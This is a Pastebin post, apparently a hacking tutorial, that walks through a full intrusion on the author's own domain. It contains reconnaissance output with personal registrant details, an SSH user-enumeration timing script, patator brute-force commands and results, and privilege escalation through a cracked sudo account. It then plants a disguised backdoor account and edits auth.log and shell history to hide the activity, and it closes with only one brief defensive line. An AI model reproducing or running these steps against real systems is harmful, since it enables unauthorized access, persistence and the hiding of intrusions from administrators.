Advertisement
Guest User

Untitled

a guest
Oct 29th, 2016
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.83 KB | None | 0 0
  1. A hacker can get his feet into a network via different techniques, and for different reasons. A network can be targeted from a hacker for what ever reason he has and in this case it will be a target of choice, or it could be just a target of opporunity as he found it by a random scan.
  2. -“If a network is not a target of choice it doesn't mean that it is safe, because its just a matter of time till it will become a target of opportunity.”-
  3.  
  4. Usually hackers will go in these well known steps to gain access over a network,
  5.  
  6. 1- Reconnaissance and Foot / Finger printing:- Mainly reconnaissance is the first step of an attack and this phase is mostly about Information gathering. All information that the hacker can gather about the victim even if it seems simple and useless. The hacker can collect this information via different ways, for example,simple dumpster diving around the target's office, checking their staff social network profiles, googling the target and note the information he will got or via Social engineering. The Foot printing process will come after to complete the step. Foot printing is mainly to study the network, for example, how devices are connected together, how many device the network have, infra structure, firewalls, etc.
  7. “This phase depend on OSINT -Open source intelligence- with no direct contact with the target”
  8.  
  9. 2- Scanning:- The attacker will engage within the target for more specific details, for example open ports and running services, lets say we got port 22 open then by a simple telnet command we can figure the SSH version running in the server.
  10.  
  11. 3- Enumeration, gaining access and privileges escalation:- Three different processes, firstly Enumeration which will allow the hacker to know the valid accounts that he wants to obtain access for via active connection, for example he knows for the above processes -Reconnaissance, foot printing and scanning- that there is a SSH service running on -default- port 22, via enumerating the hacker can know if a user is valid or not via simple python script. Next step will be reinforcing the valid account. If he succeed to gain an access to the SSH server, then he will try do privileges escalation, if the brute-forced account doesn't have super user power.
  12.  
  13. 4- Creating a backdoor and covering tracks:- In this phase the hacker already gained access and he will install a rootkit, backdoor so he guarantee him self a free entrance to the network later on, for example, creating a new user and adding it to the sudo list. Last step will be covering the tracks by updating the logs via deleting his tracks from it.
  14. A hacker will never delete the logs, as it will get the network administrator attention.
  15.  
  16.  
  17.  
  18. The above section was a short description in how a hacker can get into a network. The following section will be a real life example to break into a network.
  19.  
  20.  
  21. A real life example,
  22.  
  23. Let's say a hacker would like to takeover ashellz.com -It's owned by me- I will try to demonstrate the process step by step according to the above explanation.
  24.  
  25. Reconnaissance and Foot printing:-
  26.  
  27. Google the target domain ashellz.com
  28.  
  29.  
  30. Whois the target domain.
  31.  
  32.  
  33. root@Mox:/home/allamoox# whois ashellz.com
  34. Registrant domain : Goddady.com
  35. Tech Email: allamoox@hotmail.com
  36. Name Server: NS8015.HOSTGATOR.COM
  37. Name Server: NS8016.HOSTGATOR.COM
  38. Tech Name: mahmoud allam
  39. Tech Organization: aLLamoox
  40. Tech Street: aol tarik shobar
  41. Tech City: Tanta
  42. Tech State/Province: gHARBIA
  43. Tech Postal Code: 31111
  44. Tech Country: EG
  45. Tech Phone: +20.104691184
  46.  
  47. Dig the target domain.
  48. root@Mox:/home/allamoox# dig ashellz.com any -Using dig with the switch any , to show all records.-
  49.  
  50. ashellz.com. 14385 IN A 192.185.16.67
  51. ashellz.com. 86385 IN SOA ns8015.hostgator.com. dnsadmin.gator4008.hostgator.com. 2016091826 86400 7200 3600000 86400
  52. ashellz.com. 14385 IN MX 0 mail.ashellz.com.
  53. ashellz.com. 14385 IN TXT "v=spf1 a mx include:websitewelcome.com ~all"
  54. ashellz.com. 86385 IN NS ns8016.hostgator.com.
  55. ashellz.com. 86385 IN NS ns8015.hostgator.com
  56.  
  57. These processes can be considered as “passive scan”
  58. Scanning:-
  59.  
  60. Will use nmap with switches O to detect the OS and sS so the connection close before completing the three way handshake.
  61.  
  62. root@Mox:/home/allamoox# nmap -O -sS ashellz.com
  63. PORT STATE SERVICE
  64. 21/tcp open ftp
  65. 22/tcp filtered ssh
  66. 25/tcp filtered smtp
  67. 26/tcp open rsftp
  68. 53/tcp open domain
  69. 80/tcp open http
  70. 110/tcp open pop3
  71. 135/tcp filtered msrpc
  72. 139/tcp filtered netbios-ssn
  73. 143/tcp open imap
  74. 443/tcp open https
  75. 445/tcp filtered microsoft-ds
  76. 465/tcp open smtps
  77. 587/tcp open submission
  78. 993/tcp open imaps
  79. 995/tcp open pop3s
  80. 2222/tcp open EtherNetIP-1
  81. 3306/tcp open mysql
  82. 8080/tcp open http-proxy
  83. 8443/tcp open https-alt
  84. Aggressive OS guesses: Linux 3.11 - 4.1 (97%), Linux 3.2 - 3.8 (93%), Linux 2.6.32 (93%), Linux 2.6.32 - 2.6.33 (91%), Linux 3.13 (91%), Linux 2.6.32 - 2.6.39 (91%), Linux 4.0 (90%), Linux 3.10 - 4.1 (90%), Linux 3.16 - 3.19 (90%), Linux 4.4 (90%) .
  85.  
  86. root@Mox:/home/allamoox# telnet private.ashellz.com 22
  87. Trying 158.69.197.45...
  88. Connected to private.ashellz.com.
  89. Escape character is '^]'.
  90. SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u2
  91.  
  92. By a simple search about “OpenSSH_6.0p1 Debian-4+deb7u6 ” hacker will know that It's vulnerable to user enumerating..
  93. These processes can be considered as active scan
  94.  
  95. Enumeration:-
  96. The hacker at this point have a good idea about the target, and which parts are vulnerable and he will start enumerating valid accounts for the SSH service via timing attack technique.
  97.  
  98. The technique here depend in the time that our server take to authenticate a user, so we will use a 10kb password to which means if the user doesn't exist then we will get answer from the server faster than an existing user.
  99.  
  100. The hacker will use this simple python script to enumerate valid users.
  101.  
  102. #Including the paramiko library
  103. import paramiko
  104. #Including the time library
  105. import time
  106. #Asking for the required username to be checked
  107. user=raw_input("user: ")
  108. #Supplying the Password as the letter A repeated 25000 times
  109. p='A'*25000 -define password as letter A repeated 25000 times-
  110. ssh = paramiko.SSHClient()
  111. starttime=time.clock()
  112. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  113. try:
  114.  
  115. #Opening a SSH connection with the ashellz.com server with the user that we will chose and a 25000 letter password
  116. ssh.connect('192.185.16.67', username=user,
  117. password=p)
  118. #Giving the taken time to authenticate an user
  119. except:
  120. endtime=time.clock()
  121. total=endtime-starttime
  122. print(total)”
  123. python code.py
  124. Now we get a few valid accounts such as (root, allamoox, allam, test).
  125. |Gaining access
  126.  
  127.  
  128. Using patator -Python script used for brute forcing a lot of services like FTP, SSH, etc.- against these users list.
  129. allamoox@Mox:~$ patator ssh_login host=shell.ashellz.com user=FILE1 password=FILE0 1=/home/allamoox/user.txt 0=/home/allamoox/easy_guess.txt -x ignore:mesg='Authentication failed.'
  130. 17:45:12 patator INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2016-09-24 17:45 CEST
  131. 17:45:12 patator INFO -
  132. 17:45:12 patator INFO - code size time | candidate | num | mesg
  133. 17:45:12 patator INFO - -----------------------------------------------------------------------------
  134. 17:51:22 patator INFO - 0 37 0.204 | test123:test | 1308 | SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u2
  135. 17:51:33 patator INFO - Hits/Done/Skip/Fail/Size: 2/1308/0/0/1308, Avg: 3 r/s, Time: 0h 1m 2s
  136.  
  137. The hacker get two accounts in just few minutes because of weak passwords.
  138.  
  139. privileges escalation
  140. Now the hacker get a valid accounts he will check if it is in the sudo list or not via running any command as a super user
  141. test@aShellz:/home/allamoox$ sudo uptime
  142. [sudo] password for test:
  143. test is not in the sudoers file. This incident will be reported.
  144. test@aShellz:/home/allamoox$ .
  145.  
  146. It isn't super user but still its very useful account. The hacker will try to list all the users in the server via this command
  147. test@aShellz:/home/allamoox$ cat /etc/group
  148. bin:x:2:
  149. sys:x:3:
  150. adm:x:4:
  151. tty:x:5:
  152. disk:x:6:
  153. lp:x:7:
  154. mail:x:8:
  155. news:x:9:
  156. uucp:x:10:
  157. man:x:12:
  158. proxy:x:13:
  159. kmem:x:15:
  160. dialout:x:20:
  161. fax:x:21:
  162. voice:x:22:
  163. cdrom:x:24:
  164. floppy:x:25:
  165. tape:x:26:
  166. sudo:x:27:allamoox,xenthys,jack3
  167. audio:x:29:
  168. dip:x:30:
  169. www-data:x:33:
  170. backup:x:34:
  171. operator:x:37:
  172. list:x:38:
  173. irc:x:39:
  174. src:x:40:
  175. gnats:x:41:
  176. shadow:x:42:
  177. utmp:x:43:
  178. video:x:44:
  179. sasl:x:45:
  180. plugdev:x:46:
  181. staff:x:50:
  182. games:x:60:
  183. users:x:100:
  184. nogroup:x:65534:
  185. netdev:x:101:
  186. input:x:102:
  187. systemd-journal:x:103:
  188. systemd-timesync:x:104:
  189. systemd-network:x:105:
  190. systemd-resolve:x:106:
  191. systemd-bus-proxy:x:107:
  192. ssh:x:108:
  193. messagebus:x:109:
  194.  
  195. Now the hacker will try to hack any of these accounts (sudo:x:27:allamoox,xenthys,jack3) and he will own the server. Again he will try to brute force it via patator but with a bit complicated wordlist.
  196.  
  197. allamoox@Mox:~$ patator ssh_login host=shell.ashellz.com user=FILE1 password=FILE0 1=/home/allamoox/20_million_password_list_top_2000000.txt -x ignore:mesg='Authentication failed.'
  198. 17:45:12 patator INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2016-09-24 17:45 CEST
  199. 17:45:12 patator INFO -
  200. 17:45:12 patator INFO - code size time | candidate | num | mesg
  201. 17:45:12 patator INFO - -----------------------------------------------------------------------------
  202. 17:51:22 patator INFO - 0 37 0.204 | qazxswedc123:jack3 | 1308 | SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u2
  203. 17:51:33 patator INFO - Hits/Done/Skip/Fail/Size: 2/1308/0/0/1308, Avg: 3 r/s, Time: 21h 1m 49s.
  204.  
  205. As we can see “jack3” used a pattern password, and it was included in a huge word list, so his account get hacked. The hacker will log as root now.
  206.  
  207. jack3@aShellz:/home/jack3$ sudo su
  208. [sudo] password for jack3:
  209. root@aShellz:/home/jack3#
  210.  
  211. He will add another account and put it in the superusers list, to guarantee himself a free entrance into the server in the future and will use a name like system.
  212. root@aShellz:/home/allamoox# adduser system
  213.  
  214. Adding the user to sudo group
  215.  
  216. root@aShellz:/home/allamoox# usermod -G sudo system
  217. root@aShellz:/home/allamoox# cat /etc/group |grep sudo
  218. sudo:x:27:jack3,xenthys,allamoox,system
  219.  
  220. Then the hacker will clear his tracks from the log.
  221.  
  222. To know how many lines, words or characters in the log file.
  223. root@aShellz:/home# wc /var/logs/auth.log
  224. 200601 2731431 21813737 logs.txt
  225. more than 200k lines
  226.  
  227. the hack will open the file to delete only his tracks from the log, for example lines as the following
  228.  
  229. root@aShellz:/home# nano /var/logs/auth.log
  230.  
  231. Sep 24 21:27:32 vps1670 sshd[1719]: Failed password for root from 81.229. port 35784 ssh2
  232.  
  233. Sep 25 11:14:43 vps1670 passwd[1891]: pam_unix(passwd:chauthtok): password changed for jack3
  234. Sep 24 21:50:26 vps1670 groupadd[1948]: group added to /etc/group: name=system, GID=1027
  235. For sure there are many lines the hacker need to delete, he might use “awk” or “sed” command to delete any line that start with the word failed password under this date Sep 24.
  236.  
  237. Last thing the hacker will do is to clear his commands from the history command as well.
  238.  
  239. P.S: The hacker can use completely different scenarios depending on the situation.
  240.  
  241. A solution could be, a good enforced security policy, and a program like “Fail2ban” to block any brute force attempt, with a decent activated firewall.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement